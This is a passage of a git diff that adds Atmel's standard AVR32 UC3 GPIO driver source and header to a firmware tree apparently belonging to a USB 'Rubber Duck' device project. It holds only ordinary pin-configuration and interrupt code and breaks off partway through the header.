_FLASHC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/gpio/gpio.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/gpio/gpio.c new file mode 100755 index 0000000..9a0e219 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/gpio/gpio.c @@ -0,0 +1,653 @@ +/***************************************************************************** + * + * \file + * + * \brief GPIO software driver interface for AVR UC3. + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + + +#include "gpio.h" + +//! GPIO module instance. +#define GPIO AVR32_GPIO + + +/*! \name Peripheral Bus Interface + */ +//! @{ + + +int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size) +{ + int status = GPIO_SUCCESS; + uint32_t i; + + for (i = 0; i < size; i++) + { + status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function); + gpiomap++; + } + + return status; +} + + +int gpio_enable_module_pin(uint32_t pin, uint32_t function) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the correct function. + switch (function) + { + case 0: // A function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if (AVR32_GPIO_H_VERSION >= 210) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 1: // B function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if (AVR32_GPIO_H_VERSION >= 210) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 2: // C function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if (AVR32_GPIO_H_VERSION >= 210) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 3: // D function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if (AVR32_GPIO_H_VERSION >= 210) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + +#if (AVR32_GPIO_H_VERSION >= 210) + case 4: // E function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 5: // F function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 6: // G function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 7: // H function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; +#endif + + default: + return GPIO_INVALID_ARGUMENT; + } + + // Disable GPIO control. + gpio_port->gperc = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size) +{ + uint32_t i; + + for (i = 0; i < size; i++) + { + gpio_enable_gpio_pin(gpiomap->pin); + gpiomap++; + } +} + + +void gpio_enable_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->oderc = 1 << (pin & 0x1F); + gpio_port->gpers = 1 << (pin & 0x1F); +} + + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + + +void gpio_enable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmerc = 1 << (pin & 0x1F); +} + + +#endif + + +void gpio_enable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pderc = 1 << (pin & 0x1F); +#endif +} + + +void gpio_disable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); +} + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->pderc = 1 << (pin & 0x1F); +} + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pderc = 1 << (pin & 0x1F); +} + +#endif + +void gpio_configure_pin(uint32_t pin, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = 1 << (pin & 0x1F); + else + gpio_port->puerc = 1 << (pin & 0x1F); + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = 1 << (pin & 0x1F); + else + gpio_port->odmerc = 1 << (pin & 0x1F); + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = 1 << (pin & 0x1F); + else + gpio_port->odcr0c = 1 << (pin & 0x1F); + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = 1 << (pin & 0x1F); + else + gpio_port->odcr1c = 1 << (pin & 0x1F); +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = 1 << (pin & 0x1F); + else + gpio_port->ovrc = 1 << (pin & 0x1F); + gpio_port->oders = 1 << (pin & 0x1F); + } else { + gpio_port->oderc = 1 << (pin & 0x1F); + } + + /* Enable GPIO */ + gpio_port->gpers = 1 << (pin & 0x1F); +} + +void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = mask; + else + gpio_port->puerc = mask; + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = mask; + else + gpio_port->odmerc = mask; + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = mask; + else + gpio_port->odcr0c = mask; + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = mask; + else + gpio_port->odcr1c = mask; +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = mask; + gpio_port->imr1s = mask; + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = mask; + else + gpio_port->ovrc = mask; + gpio_port->oders = mask; + } else { + gpio_port->oderc = mask; + } + + /* Enable GPIO */ + gpio_port->gpers = mask; +} + +int gpio_get_pin_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->pvr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ovr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return ((gpio_port->oder >> (pin & 0x1F)) & 1) ^ 1; +} + + +void gpio_set_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_pin_high(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. +} + +void gpio_set_group_high(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrs = mask; // Value to be driven on the I/O group: 1. +} + + +void gpio_set_pin_low(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. +} + +void gpio_clr_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_group_low(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrc = mask; // Value to be driven on the I/O group: 0. +} + +void gpio_tgl_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_toggle_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. +} + +void gpio_toggle_group(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrt = mask; // Toggle the I/O port. +} + +void gpio_set_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_clr_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_tgl_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line if the GPIO output driver is enabled: 0. + gpio_port->odert = 1 << (pin & 0x1F); // The GPIO output driver is toggled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_enable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gfers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gferc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the edge detector of an input pin + * + * \param pin The pin number. + * \param mode The edge detection mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE + * or \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +static int gpio_configure_edge_detector(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Configure the edge detector. + switch (mode) + { + case GPIO_PIN_CHANGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_RISING_EDGE: + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_FALLING_EDGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + break; + + default: + return GPIO_INVALID_ARGUMENT; + } + + return GPIO_SUCCESS; +} + + +int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + + // Configure the edge detector. + if(GPIO_INVALID_ARGUMENT == gpio_configure_edge_detector(pin, mode)) + return(GPIO_INVALID_ARGUMENT); + + // Enable interrupt. + gpio_port->iers = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_disable_pin_interrupt(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ierc = 1 << (pin & 0x1F); +} + + +int gpio_get_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ifr >> (pin & 0x1F)) & 1; +} + + +void gpio_clear_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + +#if (AVR32_GPIO_H_VERSION == 211) + //GPIO erratum - Writing a one to the GPIO.IFRC register + //to clear an interrupt will be ignored if interrupt is enabled for the + //corresponding port. + //Work around for the erratum - Disable the interrupt, clear it by writing + //a one to GPIO.IFRC, then enable the interrupt. + + // Save interrupt enable register. + uint32_t const gpio_ier = gpio_port->ier; + + // Disable interrupt. + gpio_port->ierc = gpio_ier; + + // Clear pin interrupt. + gpio_port->ifrc = 1 << (pin & 0x1F); + + // Restore interrupt enable register. + gpio_port->ier = gpio_ier; +#else + gpio_port->ifrc = 1 << (pin & 0x1F); +#endif +} + + +//# +//# Peripheral Event System Support. +//# +#if UC3L +int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + if(true == use_igf) + { + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + } + else + { + // Disable the glitch filter. + gpio_port->gferc = 1 << (pin & 0x1F); + } + + // Configure the edge detector. + return(gpio_configure_edge_detector(pin, mode)); +} + +#endif + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/gpio/gpio.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/gpio/gpio.h new file mode 100755 index 0000000..465fb83 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/gpio/gpio.h @@ -0,0 +1,688 @@ +/***************************************************************************** + * + * \file + * + * \brief GPIO software driver interface for AVR UC3. + * + * Copyright (c) 2010-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + *****************************************************************************/ + + +#ifndef _GPIO_H_ +#define _GPIO_H_ + +/** + * \defgroup group_avr32_drivers_gpio GPIO - General-Purpose Input/Output + * + * GPIO gives access to the MCU pins. + * + * \{ + */ + +#include +#include "compiler.h" + +/*! \name Return Values of the GPIO API + */ +//! @{ +#define GPIO_SUCCESS 0 //!< Function successfully completed. +#define GPIO_INVALID_ARGUMENT 1 //!< Input parameters are out of range. +//! @} + + +/*! \name Interrupt Trigger Modes + */ +//! @{ +#define GPIO_PIN_CHANGE 0 //!< Interrupt triggered upon pin change. +#define GPIO_RISING_EDGE 1 //!< Interrupt triggered upon rising edge. +#define GPIO_FALLING_EDGE 2 //!< Interrupt triggered upon falling edge. +//! @} + +/*! \name Common defines for GPIO_FLAGS parameter + */ +//! @{ +#define GPIO_DIR_INPUT (0 << 0) //!< Pin is Input +#define GPIO_DIR_OUTPUT (1 << 0) //!< Pin is Output +#define GPIO_INIT_LOW (0 << 1) //!< Initial Ouptput State is Low +#define GPIO_INIT_HIGH (1 << 1) //!< Initial Ouptput State is High +#define GPIO_PULL_UP (1 << 2) //!< Pull-Up (when input) +#define GPIO_PULL_DOWN (2 << 2) //!< Pull-Down (when input) +#define GPIO_BUSKEEPER (3 << 2) //!< Bus Keeper +#define GPIO_DRIVE_MIN (0 << 4) //!< Drive Min Configuration +#define GPIO_DRIVE_LOW (1 << 4) //!< Drive Low Configuration +#define GPIO_DRIVE_HIGH (2 << 4) //!< Drive High Configuration +#define GPIO_DRIVE_MAX (3 << 4) //!< Drive Max Configuration +#define GPIO_OPEN_DRAIN (1 << 6) //!< Open-Drain (when output) +#define GPIO_INTERRUPT (1 << 7) //!< Enable Pin/Group Interrupt +#define GPIO_BOTHEDGES (3 << 7) //!< Sense Both Edges +#define GPIO_RISING (5 << 7) //!< Sense Risign Edge +#define GPIO_FALLING (7 << 7) //!< Sense Falling Edge +//! @} + +//! A type definition of pins and modules connectivity. +typedef struct +{ + unsigned char pin; //!< Module pin. + unsigned char function; //!< Module function. +} gpio_map_t[]; + + +/*! \name Peripheral Bus Interface + * + * Low-speed interface with a non-deterministic number of clock cycles per + * access. + * + * This interface operates with lower clock frequencies (fPB <= fCPU), and its + * timing is not deterministic since it needs to access a shared bus which may + * be heavily loaded. + * + * \note This interface is immediately available without initialization. + */ +//! @{ + +/*! \brief Enables specific module modes for a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables a specific module mode for a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for module pins. E.g., to enable a PWM + * channel output, the pin number can be AVR32_PWM_3_PIN for PWM + * channel 3. + * \param function The pin function.\n + * Refer to the product header file `uc3x.h' (where x is the + * part number; e.g. x = a0512) for module pin functions. E.g., + * to enable a PWM channel output, the pin function can be + * AVR32_PWM_3_FUNCTION for PWM channel 3. + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +extern int gpio_enable_module_pin(uint32_t pin, uint32_t function); + +/*! \brief Enables the GPIO mode of a set of pins. + * + * \param gpiomap The pin map. + * \param size The number of pins in \a gpiomap. + */ +extern void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size); + +/*! \brief Enables the GPIO mode of a pin. + * + * \param pin The pin number.\n + * Refer to the product header file `uc3x.h' (where x is the part + * number; e.g. x = a0512) for pin definitions. E.g., to enable the + * GPIO mode of PX21, AVR32_PIN_PX21 can be used. Module pins such as + * AVR32_PWM_3_PIN for PWM channel 3 can also be used to release + * module pins for GPIO. + */ +extern void gpio_enable_gpio_pin(uint32_t pin); + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + +/*! \brief Enables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_open_drain(uint32_t pin); + +/*! \brief Disables the open-drain mode of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_open_drain(uint32_t pin); + +#endif + +/*! \brief Enables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_up(uint32_t pin); + +/*! \brief Disables the pull-up resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_up(uint32_t pin); + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_pull_down(uint32_t pin); + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_pull_down(uint32_t pin); + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_enable_pin_buskeeper(uint32_t pin); + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +extern void gpio_disable_pin_buskeeper(uint32_t pin); + +#endif + +/*! \brief Configuration functionality on a pin. + * + * \param pin The pin number. + * \param flags The configuration. + */ +extern void gpio_configure_pin(uint32_t pin, uint32_t flags); + +/*! \brief Configuration functionality on a port. + * + * \param port The port number. + * \param mask The mask. + * \param flags The configuration. + */ +extern void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags); + +/*! \brief Returns the value of a pin. + * + * \param pin The pin number. + * + * \return The pin value. + */ +extern int gpio_get_pin_value(uint32_t pin); + +/*! + * \brief Check if the pin is in low logical level. + * + * \param pin The pin number. + * \return bool 1 if the pin is in low logical level + * 0 if the pin is not in low logical level + */ + #define gpio_pin_is_low(pin)\ + (gpio_get_pin_value(pin)?0:1) + +/*! + * \brief Check if the pin is in high logical level. + * + * \param pin The pin number. + * \return bool 1 if the pin is in high logical level + * 0 if the pin is not in high logical level + */ +#define gpio_pin_is_high(pin) \ + (gpio_get_pin_value(pin)?1:0) + +/*! \brief Returns the output value set for a GPIO pin. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with \ref gpio_set_gpio_pin, + * \ref gpio_clr_gpio_pin and \ref gpio_tgl_gpio_pin. + */ +extern int gpio_get_gpio_pin_output_value(uint32_t pin); + +/*! \brief Returns the output value set for a GPIO pin using open drain. + * + * \param pin The pin number. + * + * \return The pin output value. + * + * \note This function must be used in conjunction with + * \ref gpio_set_gpio_open_drain_pin, \ref gpio_clr_gpio_open_drain_pin + * and \ref gpio_tgl_gpio_open_drain_pin. + */ +extern int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + */ +extern void gpio_set_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 1. + * + * \param pin The pin number. + * + * \note The function \ref gpio_configure_pin must be called before. + */ +extern void gpio_set_pin_high(uint32_t pin); + + +/*! \brief Drives a GPIO port to 1. + * + * \param port The port number. + * \param mask The mask. + */ +extern void gpio_set_group_high(uint32_t port, uint32_t mask); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + */ +extern void gpio_clr_gpio_pin(uint32_t pin); + +/*! \brief Drives a GPIO pin to 0. + * + * \param pin The pin number. + * + * \note The function \ref 